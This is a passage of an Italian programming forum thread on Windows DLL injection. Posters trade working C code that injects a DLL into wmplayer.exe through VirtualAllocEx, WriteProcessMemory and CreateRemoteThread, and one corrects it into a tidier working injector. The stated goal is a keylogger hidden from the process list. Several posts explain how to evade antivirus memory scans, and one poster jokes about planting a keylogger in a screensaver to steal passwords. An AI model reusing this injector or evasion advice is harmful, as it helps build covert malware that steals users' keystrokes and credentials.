|
|||||||
|
|
|
![]() |
|
|
Strumenti |
|
|
#81 | ||
|
Bannato
Iscritto dal: Feb 2005
Città: Roma
Messaggi: 7029
|
Quote:
assumendo l'esistenza di un antivirus che in un momento arbitrario dopo l'injection scanna tutta la mappa della memoria virtuale di un processo vittima, facciamo un attimo di confronto tra due virus, uno scemo e uno furbo. quello scemo non esegue mai VirtualFree o VirtualFreeEx, e il suo nome rimane lì bellamente in chiaro fino alla terminazione. quello furbo non solo cancella il nome, ma usa anche qualche trucchetto simile a quello del driver descritto precedentemente (alloca un'area di memoria dove si ricopia e riloca, e ritorna FALSE nella DllMain; ma non prima di aver richiamato la copia in un nuovo thread). il risultato è ovvio, quello scemo viene sgamato subito, mentre per quanto riguarda quello furbo... amen: ormai non c'è più modo di sgamarlo, dovevi riuscirci durante l'injection, ora è diventato solo un'anonima area di memoria. e ora una breve analisi sui vantaggi e svantaggi, da parte dell'antivirus, di usare VirtualQueryEx in cerca di filenames: supponi che l'antivirus debba trovare un virus furbo che si è ricopiato in memoria ed è uscito da DllMain con FALSE, scordandosi però di cancellare il nome del file. non appena l'antivirus sgama il nome del file, conosce automaticamente la DLL da mettere in quarantena, esaminare più attentamente, ed eventualmente far fuori. se invece l'antivirus non usasse questa tecnica gli risulterebbe difficile trovare una DLL clandestina che ormai non può più essere enumerata da PSAPI. Quote:
|
||
|
|
|
|
|
#82 | |
|
Bannato
Iscritto dal: Feb 2005
Città: Roma
Messaggi: 7029
|
a proposito:
Quote:
|
|
|
|
|
|
|
#83 |
|
Senior Member
Iscritto dal: Sep 2006
Città: Bologna/Milano
Messaggi: 525
|
quindi per migliorare il programma alla fine dovrei usare VirtualFree()??
va bene così?? avrò sicuramente sbagliato qualcosa Codice:
HANDLE proc, thread;
DWORD threadId, bWritten;
BOOL check;
VOID *remoteBuff;
DWORD pid;
FILE *fp;
fp = fopen(logFile, "w");
fprintf(fp, "Looking for: %s\n\n", processName);
pid = trovaPid(processName, fp);
if(pid == 0xFFFFFFFF){
fprintf(fp, "\nProcess not found\n");
return 0;
}
check = abilitaSeDebugName(fp);
if (check == 0){
fprintf(fp, "\nAbilitazione privilegio SE_DEBUG_NAME fallita\n");
}
proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (proc == NULL){
fprintf(fp, "Errore OpenProcess() %d\n", GetLastError());
return -1;
}
remoteBuff = VirtualAllocEx(proc, NULL, strlen(dllName), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (remoteBuff == NULL){
fprintf(fp, "Errore VirtualAllocEx() %d\n", GetLastError());
return -1;
}
else
fprintf(fp, "\nCreati %d bytes all' indirizzo 0x%x\n", strlen(dllName), (ULONG)remoteBuff);
check = WriteProcessMemory(proc, remoteBuff, dllName, strlen(dllName), &bWritten);
if (check == 0){
fprintf(fp, "Errore WriteProcessMemory() %d\n", GetLastError());
return -1;
}
thread = CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(LoadLibrary("kernel32.dll"), "LoadLibraryA"), remoteBuff, 0, &threadId);
if (thread == NULL)
fprintf(fp, "Errore CreateRemoteThread() %d\n", GetLastError());
fprintf(fp, "\nInjection eseguita\n");
fclose(fp);
VirtualFreeEx(proc, remoteBuff, strlen(dllName), MEM_RELEASE );
|
|
|
|
|
|
#84 |
|
Bannato
Iscritto dal: Feb 2005
Città: Roma
Messaggi: 7029
|
non è solo quello, comunque prima di fare VirtualFreeEx devi attendere che il thread sia terminato. se nella DllMain hai da fare un lavoro lungo allora è meglio creare un altro thread nel processo target (cioè, all'interno di DllMain fai una CreateThread).
|
|
|
|
|
|
#85 | |
|
Senior Member
Iscritto dal: Jan 2006
Messaggi: 2722
|
Quote:
Per gli handles GDI lo sapevo, ma lì di tali handles non ve n'era traccia
__________________
- Spesso gli errori sono solo i passi intermedi che portano al fallimento totale. - A volte penso che la prova piu' sicura che esiste da qualche parte una forma di vita intelligente e' il fatto che non ha mai tentato di mettersi in contatto con noi. -- Bill Watterson |
|
|
|
|
|
|
#86 | |
|
Senior Member
Iscritto dal: Jan 2006
Messaggi: 2722
|
Quote:
Codice:
sleep(1000); // Attendo 1 secondo VirtualFreeEx(proc, remoteBuff, strlen(dllName), MEM_RELEASE ); // Rilascio...
__________________
- Spesso gli errori sono solo i passi intermedi che portano al fallimento totale. - A volte penso che la prova piu' sicura che esiste da qualche parte una forma di vita intelligente e' il fatto che non ha mai tentato di mettersi in contatto con noi. -- Bill Watterson |
|
|
|
|
|
|
#87 | |
|
Senior Member
Iscritto dal: Sep 2005
Messaggi: 1400
|
Quote:
che figata!!! dove posso reperire materiale a riguardo |
|
|
|
|
|
|
#88 | |
|
Bannato
Iscritto dal: Feb 2005
Città: Roma
Messaggi: 7029
|
Quote:
|
|
|
|
|
|
|
#89 | |
|
Bannato
Iscritto dal: Feb 2005
Città: Roma
Messaggi: 7029
|
Quote:
![]() no scherzo, non ho manco provato proverò nel pomeriggio, ma penso proprio che non ci sarà nessuna differenza... |
|
|
|
|
|
|
#90 | |
|
Bannato
Iscritto dal: Feb 2005
Città: Roma
Messaggi: 7029
|
Quote:
ma perché fare una cagata simile quando è sufficiente una WaitForSingleObject sull'handle del thread?? |
|
|
|
|
|
|
#91 | |
|
Senior Member
Iscritto dal: Jan 2006
Messaggi: 2722
|
Quote:
__________________
- Spesso gli errori sono solo i passi intermedi che portano al fallimento totale. - A volte penso che la prova piu' sicura che esiste da qualche parte una forma di vita intelligente e' il fatto che non ha mai tentato di mettersi in contatto con noi. -- Bill Watterson |
|
|
|
|
|
|
#92 | |
|
Senior Member
Iscritto dal: Sep 2006
Città: Bologna/Milano
Messaggi: 525
|
Quote:
cmq mi sorge spontanea una domanda: nel caso del keylogger fare una dll injection risulta utile perche poi non appare nella lista dei processi il keylogger... ma il keylogger deve rimanere in funzione sempre... quindi a cosa serve cancellare la memoria alla fine?? io credevo che si potesse cancellare subito dopo aver lanciato la dll... ma se nn si puo nn è inutile lasciare "acceso" l'exe fino alla fine?? |
|
|
|
|
|
|
#93 | |||
|
Bannato
Iscritto dal: Feb 2005
Città: Roma
Messaggi: 7029
|
Quote:
Quote:
![]() quando dicevamo della VirtualFreeEx non parlavamo di memoria allocata dal keylogger (cioè dalla DLL), ma dall'eseguibile; e devi cancellarla per non lasciare tracce. ma anche se fosse memoria allocata dal keylogger il discorso che fai è assurdo: pensa che succede se fai una malloc senza una corrispondente free ad ogni pressione di un tasto... così non lo aiuti di certo il povero Windows col suo (devo dire) eccellenterrimo algoritmo di swap... ![]() Quote:
|
|||
|
|
|
|
|
#94 |
|
Senior Member
Iscritto dal: Sep 2006
Città: Bologna/Milano
Messaggi: 525
|
ok... in teoria ora ci sono...
ma in pratica no... mi potresti fare un esempietto che mi fa vedere come svolgere tutto il lavoro all'interno di un nuovo thread creato con CreateThread??? basta anche solo una funzione che mi fa comparire un alert... sono per capire... |
|
|
|
|
|
#95 | |
|
Bannato
Iscritto dal: Feb 2005
Città: Roma
Messaggi: 7029
|
Quote:
![]() ho compilato il programma con e senza le istruzioni di deallocazione. la sezione di testo è grossa 0x00001400 in entrambi i casi e, come avrai potuto notare, è cifra tonda... ![]() allego il main da me modificato: Codice:
int main(int argc, char **argv){
char processName[] = "wmplayer.exe"; /* Nome processo su cui effettuare injection */
char logFile[]= "log.txt"; /* Nome del file di log per controllare successo o fallimento operazioni */
char dllName[]="dll.dll"; /* Nome dll da cui prelevare il codice da iniettare */
HANDLE proc, thread;
DWORD threadId, bWritten;
BOOL check;
VOID *remoteBuff;
DWORD pid;
FILE *fp;
fp = fopen(logFile, "w");
fprintf(fp, "Looking for: %s\n\n", processName);
pid = trovaPid(processName, fp);
if(pid == 0xFFFFFFFF){
fprintf(fp, "\nProcess not found\n");
fclose(fp);
return 0;
}
check = abilitaSeDebugName(fp);
if (check == 0){
fprintf(fp, "\nAbilitazione privilegio SE_DEBUG_NAME fallita\n");
}
proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (proc == NULL){
fprintf(fp, "Errore OpenProcess() %d\n", GetLastError());
fclose(fp);
return -1;
}
remoteBuff = VirtualAllocEx(proc, NULL, strlen(dllName), MEM_COMMIT, PAGE_READONLY);
if (remoteBuff == NULL){
fprintf(fp, "Errore VirtualAllocEx() %d\n", GetLastError());
CloseHandle(proc);
fclose(fp);
return -1;
}
else
fprintf(fp, "\nCreati %d bytes all' indirizzo 0x%x\n", strlen(dllName), (ULONG)remoteBuff);
check = WriteProcessMemory(proc, remoteBuff, dllName, strlen(dllName), &bWritten);
if (check == 0){
fprintf(fp, "Errore WriteProcessMemory() %d\n", GetLastError());
VirtualFreeEx(proc, remoteBuff, 0, MEM_RELEASE);
CloseHandle(proc);
fclose(fp);
return -1;
}
thread = CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(LoadLibrary("kernel32.dll"), "LoadLibraryA"), remoteBuff, 0, &threadId);
if (thread == NULL)
fprintf(fp, "Errore CreateRemoteThread() %d\n", GetLastError());
else
WaitForSingleObject(thread, INFINITE);
fprintf(fp, "\nInjection eseguita\n");
VirtualFreeEx(proc, remoteBuff, 0, MEM_RELEASE);
CloseHandle(thread);
CloseHandle(proc);
fclose(fp);
return 0;
}
|
|
|
|
|
|
|
#96 | |
|
Senior Member
Iscritto dal: Jan 2006
Messaggi: 2722
|
Quote:
Qui il problema diventa la DLL iniettata (il codice della quale Mamo neanche l'ha scritto, a meno della MessageBox). Si può installare un Keyboard Hook globale in diversi modi, quello che suggerisci è il migliore, ma presuppone che le istruzioni del thread sia uno shellcode (quindi già in codice macchina). Questo comunque è un problema separato dal codice di iniezione che, ripeto, va bene.
__________________
- Spesso gli errori sono solo i passi intermedi che portano al fallimento totale. - A volte penso che la prova piu' sicura che esiste da qualche parte una forma di vita intelligente e' il fatto che non ha mai tentato di mettersi in contatto con noi. -- Bill Watterson |
|
|
|
|
|
|
#97 | |
|
Bannato
Iscritto dal: Feb 2005
Città: Roma
Messaggi: 7029
|
Quote:
|
|
|
|
|
|
|
#98 | |
|
Senior Member
Iscritto dal: Jan 2006
Messaggi: 2722
|
Quote:
__________________
- Spesso gli errori sono solo i passi intermedi che portano al fallimento totale. - A volte penso che la prova piu' sicura che esiste da qualche parte una forma di vita intelligente e' il fatto che non ha mai tentato di mettersi in contatto con noi. -- Bill Watterson |
|
|
|
|
|
|
#99 | |
|
Bannato
Iscritto dal: Feb 2005
Città: Roma
Messaggi: 7029
|
Quote:
così vi mostrerò il mio ideale di virus e in più avrò una bella bestia di keylogger da piazzare nelle risorse di uno screensaver e installare a tradimento sui computer di quelli di cui voglio sapere le passwords :PPPP DISCLAIMER: scherzo però il keylogger lo faccio davvero |
|
|
|
|
|
|
#100 | |
|
Bannato
Iscritto dal: Feb 2005
Città: Roma
Messaggi: 7029
|
Quote:
![]() non stai mica scrivendo un exploit da buffer overflow, hai un modulo PE completo e funzionante... devi solo creare un thread con CreateThread e passargli come entry point una tua funzione con un determinato prototipo... |
|
|
|
|
|
| Strumenti | |
|
|
Tutti gli orari sono GMT +1. Ora sono le: 16:19.























